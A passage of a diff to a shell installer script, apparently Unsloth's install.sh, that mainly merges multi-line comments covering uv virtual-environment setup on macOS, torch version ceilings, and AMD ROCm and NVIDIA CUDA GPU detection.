it, and uv then refuses that target as in #9479. This branch already means $VENV_DIR is absent or empty, so clear it: rmdir cannot take one that gained an entry since the check, and unlinking a symlink never touches its target.if [ -L "$VENV_DIR" ]; thenrm -f "$VENV_DIR"elif [ -d "$VENV_DIR" ] && ! rmdir "$VENV_DIR" 2>/dev/null; then@@ -3094,20 +2796,12 @@ if [ "$SKIP_TORCH" = true ] && [ "$MAC_INTEL" = true ] && [ -z "$_USER_PYTHON" ]fifi-# uv unconditionally invokes install_name_tool after downloading managed CPython on-# macOS. On a consumer Mac without developer tools, Apple's /usr/bin shim opens the-# Command Line Tools installer even though uv treats patch failure as a warning. There-# is no supported uv opt-out yet (https://github.com/astral-sh/uv/issues/14893).-#-# Do not execute install_name_tool or xcrun to probe it: either probe can launch the-# same dialog. A selected standalone CLT and full Xcode have stable on-disk locations.+# uv unconditionally invokes install_name_tool after downloading managed CPython on macOS. On a consumer Mac without developer tools, Apple's /usr/bin shim opens the Command Line Tools installer even though uv treats patch failure as a warning, and there is no supported uv opt-out yet (astral-sh/uv#14893). Do not execute install_name_tool or xcrun to probe it: either probe can launch the same dialog. A selected standalone CLT and full Xcode have stable on-disk locations._macos_has_selected_install_name_tool() {_uvv_developer_dir=$(xcode-select -p 2>/dev/null) || return 1[ -n "$_uvv_developer_dir" ] && [ -d "$_uvv_developer_dir" ] || return 1- # DEVELOPER_DIR may select a custom path or symlink, so do not require Apple's- # standard directory names. Reject only candidates that are the base-system- # /usr/bin dialog shim itself; comparing file identity does not execute the tool.+ # DEVELOPER_DIR may select a custom path or symlink, so do not require Apple's standard directory names. Reject only candidates that are the base-system /usr/bin dialog shim itself; comparing file identity does not execute the tool.for _uvv_tool in \"$_uvv_developer_dir/usr/bin/install_name_tool" \"$_uvv_developer_dir/Toolchains/XcodeDefault.xctoolchain/usr/bin/install_name_tool"; do@@ -3121,10 +2815,7 @@ _macos_has_selected_install_name_tool() {return 1}-# Run one uv venv command with its argv unchanged. If no real selected macOS tool is-# present, put a non-success shim ahead of /usr/bin only for uv's process. Returning-# nonzero is intentional: uv must retain its warning path rather than being told that-# an unpatched dylib was successfully modified.+# Run one uv venv command with its argv unchanged. If no real selected macOS tool is present, put a non-success shim ahead of /usr/bin only for uv's process. Returning nonzero is intentional: uv must retain its warning path rather than being told that an unpatched dylib was successfully modified._run_uv_venv() { # label, uv-venv args..._uvv_label="$1"shift@@ -3160,19 +2851,7 @@ _run_uv_venv() { # label, uv-venv args...return "$_uvv_status"}-# Apple Silicon venv. The arch-explicit arm64 CPython stops uv reusing a cached-# x86_64 (Rosetta) build: torch ships no macOS x86_64 wheels since 2.2.2, so an-# x86_64 venv cannot resolve torch. The arm64 guard below backstops older venvs.-#-# only-managed stops uv walking PATH and *executing* every interpreter it finds to-# read its version. Without CLT, /usr/bin/python3 is Apple's xcode_select shim, so-# that probe pops the "command line developer tools" dialog for tools this install-# never needs. Spelled --python-preference, not the --managed-python alias: same-# effect, accepted since uv 0.4.30 rather than 0.8.16.-#-# It also drops uv's system-interpreter fallback, so a host that is offline or has-# UV_PYTHON_DOWNLOADS=never is left with nothing to resolve. Retry unflagged for-# them: the dialog is worth removing, a failed install is not.+# Apple Silicon venv. The arch-explicit arm64 CPython stops uv reusing a cached x86_64 (Rosetta) build: torch ships no macOS x86_64 wheels since 2.2.2, so an x86_64 venv cannot resolve torch. only-managed stops uv walking PATH and EXECUTING every interpreter it finds to read its version, which without CLT pops the "command line developer tools" dialog via Apple's /usr/bin/python3 shim. Spelled --python-preference, not the --managed-python alias: same effect, accepted since uv 0.4.30 rather than 0.8.16. It also drops uv's system-interpreter fallback, so a host that is offline or has UV_PYTHON_DOWNLOADS=never is left with nothing to resolve; retry unflagged for them, since the dialog is worth removing and a failed install is not._uv_venv_arm64() { # label_run_uv_venv "$1" "$VENV_DIR" \--python-preference only-managed \@@ -3181,14 +2860,11 @@ _uv_venv_arm64() { # label--python "cpython-${PYTHON_VERSION}-macos-aarch64-none"}-# Fedora sets python-downloads = "manual", so uv venv cannot fetch a matching-# interpreter. Install it only after that hint, then retry. An explicit install-# still honors "never"; UV_PYTHON_DOWNLOADS=automatic would not.+# Fedora sets python-downloads = "manual", so uv venv cannot fetch a matching interpreter. Install it only after that hint, then retry. An explicit install still honors "never"; UV_PYTHON_DOWNLOADS=automatic would not._uv_venv_requested() { # label_uvvr_label="$1"_uvvr_req="$(_python_request "$PYTHON_VERSION")"- # Capture the hint while streaming Unsloth output live. If capture setup fails,- # use the original venv path. The global directory is owned by trap cleanup.+ # Capture the hint while streaming Unsloth output live. If capture setup fails, use the original venv path. The global directory is owned by trap cleanup._UV_VENV_CAPTURE_DIR=""if ! command -v tee >/dev/null 2>&1 \|| ! _UV_VENV_CAPTURE_DIR=$(mktemp -d "${TMPDIR:-/tmp}/unsloth-uv-venv.XXXXXX") \@@ -3259,17 +2935,7 @@ if [ -z "$_USER_PYTHON" ] && [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then_PY_VER=${_info##* }# An unexecutable x86_64 venv python (no Rosetta) yields no arch; read the Mach-O header.if [ -z "$_VENV_ARCH" ] && [ -x "$VENV_DIR/bin/python" ]; then- # uv symlinks bin/python to the base interpreter, so dereference with- # file -L (lipo already follows the link). Trailing || true keeps the- # installer alive under set -e when neither tool is present.- #- # file -L FIRST, lipo only as the fallback: lipo is a Command Line Tools shim, so- # on a Mac without CLT merely running it raises the "install the command line- # developer tools" dialog -- 2>/dev/null hides its stderr but not a GUI dialog.- # file is base-system and always answers. Both spellings feed the same case below- # ("Mach-O 64-bit executable arm64", or "universal binary ... [x86_64] [arm64]",- # against lipo's "arm64" / "x86_64 arm64"), so the branch taken is unchanged.- # clean-machine-assert.sh:152 already made exactly this swap for its own use.+ # uv symlinks bin/python to the base interpreter, so dereference with file -L (lipo already follows the link). Trailing || true keeps the installer alive under set -e when neither tool is present. file -L FIRST, lipo only as the fallback: lipo is a Command Line Tools shim, so on a Mac without CLT merely running it raises the developer-tools dialog, and 2>/dev/null hides its stderr but not a GUI dialog. file is base-system and always answers, and both spellings feed the same case below, so the branch taken is unchanged._archs=$(file -L "$VENV_DIR/bin/python" 2>/dev/null \|| lipo -archs "$VENV_DIR/bin/python" 2>/dev/null || true)case "$_archs" in@@ -3304,9 +2970,7 @@ if [ -z "$_USER_PYTHON" ] && [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; thenfifi-# The request above only decides what a *new* venv gets. A venv from an earlier-# run, on any platform, can still hold a skipped interpreter, and reusing it is-# how the reported installs stayed broken across re-runs. Honour --python.+# The request above only decides what a NEW venv gets. A venv from an earlier run, on any platform, can still hold a skipped interpreter, and reusing it is how the reported installs stayed broken across re-runs. Honour --python.if [ -z "$_USER_PYTHON" ] && [ -x "$VENV_DIR/bin/python" ]; then_PY_VER=$("$VENV_DIR/bin/python" -c \'import sys; print("{}.{}.{}".format(*sys.version_info[:3]))' 2>/dev/null || echo "")@@ -3326,8 +2990,7 @@ if [ -x "$VENV_DIR/bin/python" ]; thensubstep "${VENV_DIR}"fi-# Default range admits torch 2.11 (verified on cpu/cu126/cu128/cu130/rocm7.1+/mac arm64).-# Bump all three ceilings when the next minor is validated; the curated ROCm floors below stay literal.+# Default range admits torch 2.11 (verified on cpu/cu126/cu128/cu130/rocm7.1+/mac arm64). Bump all three ceilings when the next minor is validated; the curated ROCm floors below stay literal._TORCH_CEILING="2.12.0"_TORCHVISION_CEILING="0.27.0"_TORCHAUDIO_CEILING="2.12.0"@@ -3346,18 +3009,14 @@ TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<${_TORCHAUDIO_CEILING}"# ── Resolve repo root (for --local installs) ──_REPO_ROOT="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)"-# Whether the scripts next to install.sh may be trusted. A piped web install-# has $0 = "sh", so _REPO_ROOT is just the caller's cwd and a file planted there would run.-# Marker files cannot decide this (whoever can plant a helper can plant those), so require-# the explicit --local intent AND a run from the file itself; else fetch the official copy.+# Whether the scripts next to install.sh may be trusted. A piped web install has $0 = "sh", so _REPO_ROOT is just the caller's cwd and a file planted there would run. Marker files cannot decide this (whoever can plant a helper can plant those), so require the explicit --local intent AND a run from the file itself; else fetch the official copy._REPO_IS_CHECKOUT=0case "$0" in*/install.sh|install.sh)[ "$STUDIO_LOCAL_INSTALL" = true ] && [ -r "$0" ] && _REPO_IS_CHECKOUT=1 ;;esac-# Honor UNSLOTH_ZOO_REF so the Studio venv tracks the requested zoo (the Docker-# publish workflow forwards one ref to both builds). Unset means main.+# Honor UNSLOTH_ZOO_REF so the Studio venv tracks the requested zoo (the Docker publish workflow forwards one ref to both builds). Unset means main._ZOO_REF="${UNSLOTH_ZOO_REF:-main}"_ZOO_GIT_SPEC="unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo@${_ZOO_REF}"@@ -3399,22 +3058,13 @@ _has_amd_rocm_gpu() {elif [ -e /dev/kfd ] && \awk '/vendor_id/ && $2 == 4098 { found = 1 } END { exit !found }' \/sys/class/kfd/kfd/topology/nodes/*/properties 2>/dev/null; then- # vendor_id 4098 = 0x1002 (AMD) marks a GPU node: the KFD CPU node- # reports vendor_id 0, so any 4098 node is an AMD GPU. NVIDIA's open- # kernel module (driver 560+) registers KFD nodes as vendor_id 4318- # (0x10DE), so this never false-positives on NVIDIA-only hosts.- # The prior check also required a gpu_id line, but gpu_id is a SIBLING- # sysfs file, not a line in properties -- it never matched, so the- # fallback silently missed every ROCm-less AMD host (issue: fresh- # Arch/CachyOS boxes reporting "no GPU detected").+ # vendor_id 4098 = 0x1002 (AMD) marks a GPU node: the KFD CPU node reports vendor_id 0, so any 4098 node is an AMD GPU, and NVIDIA's open kernel module (driver 560+) registers KFD nodes as vendor_id 4318 (0x10DE), so this never false-positives on NVIDIA-only hosts. The prior check also required a gpu_id line, but gpu_id is a SIBLING sysfs file, not a line in properties, so it never matched and the fallback silently missed every ROCm-less AMD host.return 0fireturn 1}-# Returns 0 if an AMD display GPU is on the PCI bus even when ROCm can't use it-# (e.g. a Strix Halo iGPU with no /dev/kfd). Only sharpens the "no GPU detected"-# hint. vendor 0x1002 = AMD/ATI; class 0x03* = display controller.+# Returns 0 if an AMD display GPU is on the PCI bus even when ROCm cannot use it (a Strix Halo iGPU with no /dev/kfd). Only sharpens the "no GPU detected" hint. vendor 0x1002 = AMD/ATI; class 0x03* = display controller._amd_gpu_present_via_pci() {[ -d /sys/bus/pci/devices ] || return 1for _pci_vendor in /sys/bus/pci/devices/*/vendor; do@@ -3434,8 +3084,7 @@ _amd_probe_arches() {printf '%s\n' "$1" | sed 's/:.*$//' | tr '[:upper:]' '[:lower:]' | awk 'NF' | sort -u}-# The wheels must work on every AMD GPU in the box, so every agent has to land in the same-# family: routing on whichever the kernel enumerated first puts gfx1151 wheels on a 9070 XT.+# The wheels must work on every AMD GPU in the box, so every agent has to land in the same family: routing on whichever the kernel enumerated first puts gfx1151 wheels on a 9070 XT._amd_agreed_index_family() {_aif_family=""for _aif_a in $(_amd_probe_arches "$1"); do@@ -3447,8 +3096,7 @@ _amd_agreed_index_family() {printf '%s\n' "$_aif_family"}-# setup.sh takes UNSLOTH_ROCM_GFX_ARCH over its own visibility-aware selection, so naming an-# arbitrary member of an agreed family (gfx1200 beside gfx1201) overrules a correct choice.+# setup.sh takes UNSLOTH_ROCM_GFX_ARCH over its own visibility-aware selection, so naming an arbitrary member of an agreed family (gfx1200 beside gfx1201) overrules a correct choice._amd_sole_index_arch() {_sia=$(_amd_probe_arches "$1")[ -n "$_sia" ] || return 1@@ -3491,16 +3139,7 @@ _infer_amd_gfx_arch_from_gpu_name() {esac}-# GPU name -> gfx arch for AMD generations Unsloth's ROCm wheels do NOT cover: RDNA 1-# and Polaris 10/20/30 (unslothai#8529). SEPARATE from _infer_amd_gfx_arch_from_gpu_name-# on purpose: messaging only, nothing here may route to a wheel index. AMD's TheRock-# ships RDNA 1 wheels, but not on the repo.amd.com indexes routed here, and never gfx803.-# ORDER IS LOAD-BEARING: `case` has no negative lookahead, so a *"RX 570"* arm would-# swallow an "RX 5700 XT" -- RDNA 1 arms come FIRST and Polaris last.-# Names from LLVM's AMDGPU tables plus libdrm amdgpu.ids/pci.ids for the Navi 10/14-# professional parts LLVM omits; nothing is guessed, so Polaris 11/12 (RX 460/550/560,-# a different die) is left out. Case-sensitive, unlike the regex copies: every source-# here (WMI, amd-smi, lspci) spells these names as pci.ids does.+# GPU name to gfx arch for AMD generations Unsloth's ROCm wheels do NOT cover: RDNA 1 and Polaris 10/20/30 (#8529). SEPARATE from _infer_amd_gfx_arch_from_gpu_name on purpose: messaging only, nothing here may route to a wheel index. ORDER IS LOAD-BEARING: `case` has no negative lookahead, so a *"RX 570"* arm would swallow an "RX 5700 XT", hence RDNA 1 arms FIRST and Polaris last. Names from LLVM's AMDGPU tables plus libdrm amdgpu.ids/pci.ids for the Navi 10/14 professional parts LLVM omits; nothing is guessed, so Polaris 11/12 (a different die) is left out. Case-sensitive, unlike the regex copies: every source here (WMI, amd-smi, lspci) spells these names as pci.ids does._infer_unsupported_amd_gfx_arch_from_gpu_name() {case "$1" in*"Radeon Pro V520"*|*"Radeon Pro 5600M"*) echo gfx1011 ;; # RDNA 1@@ -3511,8 +3150,7 @@ _infer_unsupported_amd_gfx_arch_from_gpu_name() {esac}-# Linux counterpart: first AMD display-class lspci line naming a generation ROCm-# does not cover. Messaging only -- never feed the result into index selection.+# Linux counterpart: first AMD display-class lspci line naming a generation ROCm does not cover. Messaging only, never fed into index selection._infer_linux_unsupported_amd_gfx_arch() {command -v lspci >/dev/null 2>&1 || return 1_unsup_disp=$(lspci -nn 2>/dev/null | grep -E 'VGA compatible controller|3D controller|Display controller' | grep -E 'AMD|ATI' || true)@@ -3528,33 +3166,25 @@ EOFreturn 1}-# Best-effort gfx inference when ROCm tools can't see the GPU (unslothai#7301).-# Mirrors install.ps1 arch resolution on Windows ($HasROCm false, $ROCmGfxArch set).+# Best-effort gfx inference when ROCm tools cannot see the GPU (unslothai#7301). Mirrors install.ps1 arch resolution on Windows ($HasROCm false, $ROCmGfxArch set)._infer_linux_amd_gfx_arch() {if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; thenprintf '%s\n' "$(printf '%s' "$UNSLOTH_ROCM_GFX_ARCH" | tr '[:upper:]' '[:lower:]')"return 0fi- # On WSL /proc/cpuinfo and lspci still report the host APU, but without the- # ROCDXG bridge (librocdxg over /dev/dxg) the AMD wheels can't reach the GPU;- # keep the CPU fallback there unless that runtime is present (the explicit- # override above still wins). Mirrors install_python_stack.py.+ # On WSL /proc/cpuinfo and lspci still report the host APU, but without the ROCDXG bridge (librocdxg over /dev/dxg) the AMD wheels cannot reach the GPU; keep the CPU fallback there unless that runtime is present. The explicit override above still wins. Mirrors install_python_stack.py._gpu_evidence=""if [ -e /dev/dxg ] || grep -qi microsoft /proc/version 2>/dev/null; thenfor _d in /opt/rocm/lib /opt/rocm/lib64 /opt/rocm-*/lib /opt/rocm-*/lib64; do{ [ -e "$_d/librocdxg.so" ] || [ -e "$_d/librocdxg.so.1" ]; } && _rocdxg=1 && breakdone[ -n "${_rocdxg:-}" ] || return 1- # WSL enumerates no PCI display device; /dev/dxg + librocdxg IS the- # GPU evidence there.+ # WSL enumerates no PCI display device; /dev/dxg + librocdxg IS the GPU evidence there._gpu_evidence=1elif _amd_gpu_present_via_pci; then_gpu_evidence=1fi- # /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received- # no AMD GPU, so the CPU-model text alone is not GPU evidence: require an- # AMD display device (PCI vendor 0x1002, class 0x03*) before trusting it.- # The lspci fallback below needs no gate; an AMD display line IS evidence.+ # /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received no AMD GPU, so the CPU-model text alone is not GPU evidence: require an AMD display device (PCI vendor 0x1002, class 0x03*) before trusting it. The lspci fallback below needs no gate; an AMD display line IS evidence.if [ -n "$_gpu_evidence" ] && grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null; thenecho gfx1151return 0@@ -3568,11 +3198,7 @@ _infer_linux_amd_gfx_arch() {return 0fiif command -v lspci >/dev/null 2>&1; then- # A non-AMD controller can enumerate first (Intel/ASPEED before an AMD- # dGPU), so scan every display-class line and take the first AMD one- # that maps. The vendor guard is case-SENSITIVE (a -i "ATI" would match- # "CorporATIon" on every Intel/NVIDIA line); whole-line matching also- # survives the 0000: PCI domain prefix. Mirrors install_python_stack.py.+ # A non-AMD controller can enumerate first (Intel/ASPEED before an AMD dGPU), so scan every display-class line and take the first AMD one that maps. The vendor guard is case-SENSITIVE (a -i "ATI" would match "CorporATIon" on every Intel/NVIDIA line); whole-line matching also survives the 0000: PCI domain prefix._amd_disp=$(lspci -nn 2>/dev/null | grep -E 'VGA compatible controller|3D controller|Display controller' | grep -E 'AMD|ATI' || true)while IFS= read -r _ln; do[ -n "$_ln" ] || continue@@ -3587,10 +3213,7 @@ EOFreturn 1}-# gfx arch named by an HSA_OVERRIDE_GFX_VERSION value ($1), or nothing if it is not a-# readable major.minor.stepping triple. ROCr builds gfx<major><minor><stepping in hex>,-# which is why 9.0.10 is gfx90a: 11.0.0 -> gfx1100, 11.5.1 -> gfx1151, 10.3.0 -> gfx1030.-# Kept in sync with _hsa_override_gfx_arch in studio/install_python_stack.py.+# gfx arch named by an HSA_OVERRIDE_GFX_VERSION value ($1), or nothing if it is not a readable major.minor.stepping triple. ROCr builds gfx<major><minor><stepping in hex>, which is why 9.0.10 is gfx90a: 11.0.0 to gfx1100, 11.5.1 to gfx1151, 10.3.0 to gfx1030. Kept in sync with _hsa_override_gfx_arch in studio/install_python_stack.py._hsa_override_gfx_arch() {printf '%s' "${1:-}" | awk '{@@ -3604,13 +3227,7 @@ _hsa_override_gfx_arch() {}'}-# gfx arches the KERNEL sees, one line per AMD GPU node, from KFD topology sysfs.-# amdkfd writes gfx_target_version itself, so it is immune to HSA_OVERRIDE_GFX_VERSION-# (which ROCr applies in userland) -- the ground truth for unslothai#7331. Encoding is-# major*10000 + minor*100 + stepping in hex: 110000 -> gfx1100, 110501 -> gfx1151,-# 90010 -> gfx90a. CPU nodes carry no gfx_target_version and drop out; vendor_id 4098-# (0x1002) keeps NVIDIA's open-driver KFD nodes out, mirroring _has_amd_rocm_gpu.-# Kept in sync with _kfd_gfx_targets in studio/install_python_stack.py.+# gfx arches the KERNEL sees, one line per AMD GPU node, from KFD topology sysfs. amdkfd writes gfx_target_version itself, so it is immune to HSA_OVERRIDE_GFX_VERSION (which ROCr applies in userland): the ground truth for #7331. Encoding is major*10000 + minor*100 + stepping in hex: 110000 to gfx1100, 110501 to gfx1151, 90010 to gfx90a. CPU nodes carry no gfx_target_version and drop out; vendor_id 4098 keeps NVIDIA's open-driver KFD nodes out. Kept in sync with _kfd_gfx_targets in studio/install_python_stack.py._kfd_gfx_targets() {[ -d /sys/class/kfd/kfd/topology/nodes ] || return 0for _kfd_node in /sys/class/kfd/kfd/topology/nodes/*/properties; do@@ -3630,27 +3247,7 @@ _kfd_gfx_targets() {return 0}-# Physical gfx arch when the ISA probe is an HSA_OVERRIDE_GFX_VERSION spoof-# (unslothai#7331): $1 = the arch inferred from the product name, $2 = the probed gfx-# token list. Prints the physical arch, or nothing to mean "believe the probe" (default).-#-# Requires ALL of the following, which keeps a mixed Strix APU + discrete AMD GPU host-# (the reason the probe outranks the product name at all) out of reach:-# * HSA_OVERRIDE_GFX_VERSION is set -- with no override there is nothing to doubt;-# * the product name inferred a spoofable RDNA 3.5 APU arch and the probe reported-# a DIFFERENT one;-# * the probe saw exactly ONE arch (rocminfo repeats the token per agent, so this-# counts DISTINCT tokens -- a pre-filter, not the safety property);-# * the variable names EXACTLY the arch that was reported: ROCr can only spoof to-# the target the variable names, so any other reading is real silicon;-# * a source the override cannot reach agrees with the product name: KFD sysfs-# first (the kernel), then rocminfo re-run with the variable unset.-# Corroboration is REQUIRED, with deliberately no "the variable names the reported arch,-# so assume a spoof" fallback: that shape is identical on a host telling the truth (a real-# gfx1100 dGPU in a Ryzen AI Max chassis whose owner set the override for unrelated-# reasons), and rerouting a working machine to the wrong wheels is worse than-# unslothai#7331 itself.-# Kept in sync with _hsa_spoofed_physical_gfx in studio/install_python_stack.py.+# Physical gfx arch when the ISA probe is an HSA_OVERRIDE_GFX_VERSION spoof (#7331): $1 = the arch inferred from the product name, $2 = the probed gfx token list. Prints the physical arch, or nothing to mean "believe the probe" (the default). Requires ALL of: the override is set; the product name inferred a spoofable RDNA 3.5 APU arch and the probe reported a DIFFERENT one; the probe saw exactly ONE distinct arch (rocminfo repeats the token per agent, so this is a pre-filter, not the safety property); the variable names EXACTLY the arch that was reported, since ROCr can only spoof to the target the variable names; and a source the override cannot reach agrees with the product name, KFD sysfs first, then rocminfo re-run with the variable unset. That keeps a mixed Strix APU plus discrete AMD GPU host out of reach. Corroboration is REQUIRED, with deliberately no "the variable names the reported arch, so assume a spoof" fallback: that shape is identical on a host telling the truth (a real gfx1100 dGPU in a Ryzen AI Max chassis whose owner set the override for unrelated reasons), and rerouting a working machine to the wrong wheels is worse than #7331 itself. Kept in sync with _hsa_spoofed_physical_gfx in studio/install_python_stack.py._hsa_spoofed_physical_gfx() {_hsp_inferred="${1:-}"_hsp_probed_all="${2:-}"@@ -3659,9 +3256,7 @@ _hsa_spoofed_physical_gfx() {gfx1151|gfx1150|gfx1152) : ;;*) return 0 ;;esac- # Exactly one DISTINCT arch, else the single-arch premise fails. Deduplicated because- # the caller passes raw `rocminfo | grep -oE gfx...`, which repeats the token per- # Name/ISA line -- counting lines would never fire on #7331's own host.+ # Exactly one DISTINCT arch, else the single-arch premise fails. Deduplicated because the caller passes raw `rocminfo | grep -oE gfx...`, which repeats the token per Name/ISA line, and counting lines would never fire on #7331's own host._hsp_n=$(printf '%s\n' "$_hsp_probed_all" | awk 'NF && !seen[$0]++ { n++ } END { print n + 0 }')[ "${_hsp_n:-0}" -ne 1 ] && return 0_hsp_probed=$(printf '%s\n' "$_hsp_probed_all" | awk 'NF { print; exit }')@@ -3673,8 +3268,7 @@ _hsa_spoofed_physical_gfx() {echo " [WARN] HSA_OVERRIDE_GFX_VERSION=$HSA_OVERRIDE_GFX_VERSION is set; ROCm reports" >&2echo " [WARN] $_hsp_probed but this host's product name is $_hsp_inferred. Checking for a spoof." >&2- # 1. The kernel, which the override cannot reach. Decisive either way: if it answers- # at all, no weaker source gets to overrule it.+ # The kernel, which the override cannot reach. Decisive either way: if it answers at all, no weaker source gets to overrule it._hsp_kfd=$(_kfd_gfx_targets | awk 'NF')if [ -n "$_hsp_kfd" ]; thenif [ "$_hsp_kfd" = "$_hsp_inferred" ]; then@@ -3684,26 +3278,17 @@ _hsa_spoofed_physical_gfx() {# On a real gfx1100 card in a Ryzen AI Max chassis this is the CORRECT outcome.echo " [WARN] The kernel does not corroborate a spoof; keeping $_hsp_probed." >&2fi- # Several GPU nodes: the single-arch premise was wrong (the spoof collapsed a- # mixed host into one apparent arch). Decline.+ # Several GPU nodes: the single-arch premise was wrong (the spoof collapsed a mixed host into one apparent arch). Decline.return 0fi- # 2. The runtime, asked again without the override (ROCr getenv()s it while building- # agent names, so stripping it retracts the spoofed name) and without the visible- # masks, so a mask cannot hide the second GPU that would veto the correction. A- # re-probe that still answers $_hsp_probed is evidence FOR the probe: the name did- # not move, so it is real silicon. That is what keeps a genuine gfx1100 dGPU in a- # Ryzen AI Max chassis on its own wheels.+ # 2. The runtime, asked again without the override (ROCr getenv()s it while building agent names, so stripping it retracts the spoofed name) and without the visible masks, so a mask cannot hide the second GPU that would veto the correction. A re-probe that still answers $_hsp_probed is evidence FOR the probe: the name did not move, so it is real silicon, which is what keeps a genuine gfx1100 dGPU in a Ryzen AI Max chassis on its own wheels._hsp_re=""if command -v rocminfo >/dev/null 2>&1; then_hsp_re=$( (unset HSA_OVERRIDE_GFX_VERSION ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; \rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' | awk 'NF && !seen[$0]++' || true)fi- # rocminfo FAILS on the very host this exists for: strip the override on a ROCm stack- # predating the physical arch and ROCr has no ISA entry for it, so hsa_init errors and- # no agent is listed. amd-smi reads the driver and is override-immune, and- # _detect_amd_gfx_codes falls through to it, so mirror that here.+ # rocminfo FAILS on the very host this exists for: strip the override on a ROCm stack predating the physical arch and ROCr has no ISA entry for it, so hsa_init errors and no agent is listed. amd-smi reads the driver and is override-immune, and _detect_amd_gfx_codes falls through to it, so mirror that here.if [ -z "$_hsp_re" ] && command -v amd-smi >/dev/null 2>&1; then_hsp_re=$( (unset HSA_OVERRIDE_GFX_VERSION ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; \amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' | awk 'NF && !seen[$0]++' || true)@@ -3736,10 +3321,8 @@ _hsa_spoofed_physical_gfx() {# physical also strip HSA_OVERRIDE_GFX_VERSION, which ROCr applies in userland so# rocminfo reports the SPOOFED ISA while it is set (unslothai#7331).# Mirrors _detect_amd_gfx_codes(ignore_hsa_override = True).-## Neither mode answers which device the runtime SELECTS, and no probe here applies both mask# families. _runtime_gfx_target() in install_python_stack.py answers that.-## shellcheck disable=SC2086 # $_pg_strip is a LIST of names for unset; quoting it would# unset one variable whose name contains spaces._probe_amd_gfx_arch() {@@ -3748,9 +3331,7 @@ _probe_amd_gfx_arch() {physical) _pg_strip="ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES HSA_OVERRIDE_GFX_VERSION" ;;*) _pg_strip="ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES" ;;esac- # "physical" ignores the declared arch: a stale UNSLOTH_ROCM_GFX_ARCH=gfx1030 on a real Van- # Gogh would answer the miscomputing gate with a healthy arch. It stays authoritative for- # ordinary routing.+ # "physical" ignores the declared arch: a stale UNSLOTH_ROCM_GFX_ARCH=gfx1030 on a real Van Gogh would answer the miscomputing gate with a healthy arch. It stays authoritative for ordinary routing.if [ "${1:-}" = "physical" ]; then_pg=""else@@ -3768,10 +3349,7 @@ _probe_amd_gfx_arch() {printf '%s\n' "$_pg"}-# Classify the physical NVIDIA inventory for a cu126 fallback: "cu126" when it covers-# every GPU, "uncovered" for an incompatible mix, empty when no fallback is needed or the-# inventory is unreadable. CUDA_VISIBLE_DEVICES is ignored because the wheel must support-# the host. Shared decision with install.ps1 / setup.ps1 / install_python_stack.py.+# Classify the physical NVIDIA inventory for a cu126 fallback: "cu126" when it covers every GPU, "uncovered" for an incompatible mix, empty when no fallback is needed or the inventory is unreadable. CUDA_VISIBLE_DEVICES is ignored because the wheel must support the host. Shared decision with install.ps1 / setup.ps1 / install_python_stack.py._nvidia_cu126_verdict() {[ -n "$1" ] || return 0_ncv_caps=$(_run_bounded "$1" --query-gpu=compute_cap --format=csv,noheader,nounits 2>/dev/null) || return 0@@ -3793,8 +3371,7 @@ _nvidia_cu126_verdict() {'}-# Cap cu128/cu130 at cu126 when it covers every physical GPU: PyTorch 2.11's cu128/cu130-# start at sm_75, cu126 spans sm_50-90. Non-x86_64 keeps driver-only selection.+# Cap cu128/cu130 at cu126 when it covers every physical GPU: PyTorch 2.11's cu128/cu130 start at sm_75, cu126 spans sm_50-90. Non-x86_64 keeps driver-only selection._cap_cuda_family_for_pre_turing() {case "$_ARCH" inx86_64|amd64) ;;@@ -3819,16 +3396,10 @@ _cap_cuda_family_for_pre_turing() {}# ── ROCm version sources ──-# One helper per source, each returning 0 unconditionally: under set -e a failing source-# would kill the installer before the actionable warning at the end of the ROCm branch.-# Every source that execs runs through _run_bounded: highest-wins consults all five, so a-# single wedged probe would hang the installer. A timed-out probe just declined to answer.+# One helper per source, each returning 0 unconditionally: under set -e a failing source would kill the installer before the actionable warning at the end of the ROCm branch. Every source that execs runs through _run_bounded, since highest-wins consults all five and a single wedged probe would hang the installer; a timed-out probe just declined to answer._rocm_tag_from_amd_smi() {command -v amd-smi >/dev/null 2>&1 || return 0- # Cut at the field separator and require digits: the line is pipe-delimited- # ("... | ROCm version: N/A | amdgpu version: 6.10.10 | ..."), so stripping every- # non-digit fabricated rocm6.10 out of the amdgpu driver version. Position used to- # hide that; under highest-wins a fabricated reading outvotes a real 6.1.+ # Cut at the field separator and require digits: the line is pipe-delimited ("... | ROCm version: N/A | amdgpu version: 6.10.10 | ..."), so stripping every non-digit fabricated rocm6.10 out of the amdgpu driver version. Position used to hide that; under highest-wins a fabricated reading outvotes a real 6.1._run_bounded amd-smi version 2>/dev/null | awk -F'ROCm version: ' \'NF>1{v=$2; sub(/[ \t|].*$/, "", v); if (v ~ /^[0-9]+\.[0-9]+/) {split(v,a,"."); print "rocm"a[1]"."a[2]} exit}' || return 0}@@ -3838,8 +3409,7 @@ _rocm_tag_from_version_file() {awk -F. '{print "rocm"$1"."$2; exit}' /opt/rocm/.info/version || return 0}-# Naming pacman unconditionally told the unslothai#8731 reporter to run it on an-# immutable Fedora image, where it does not exist.+# Naming pacman unconditionally told the unslothai#8731 reporter to run it on an immutable Fedora image, where it does not exist._rocm_sdk_install_hint() {if command -v pacman >/dev/null 2>&1; thenecho "sudo pacman -S rocm-hip-sdk"@@ -3855,9 +3425,7 @@ _rocm_sdk_install_hint() {}_rocm_tag_from_hipconfig() {- # AMD's own installer puts hipconfig in ROCM_PATH/bin and leaves it off PATH unless- # its profile.d snippet ran, so a PATH-only lookup misses a tree that is right there.- # Not the Fedora shape: Fedora's hipconfig is /usr/bin/hipconfig, owned by hipcc.+ # AMD's own installer puts hipconfig in ROCM_PATH/bin and leaves it off PATH unless its profile.d snippet ran, so 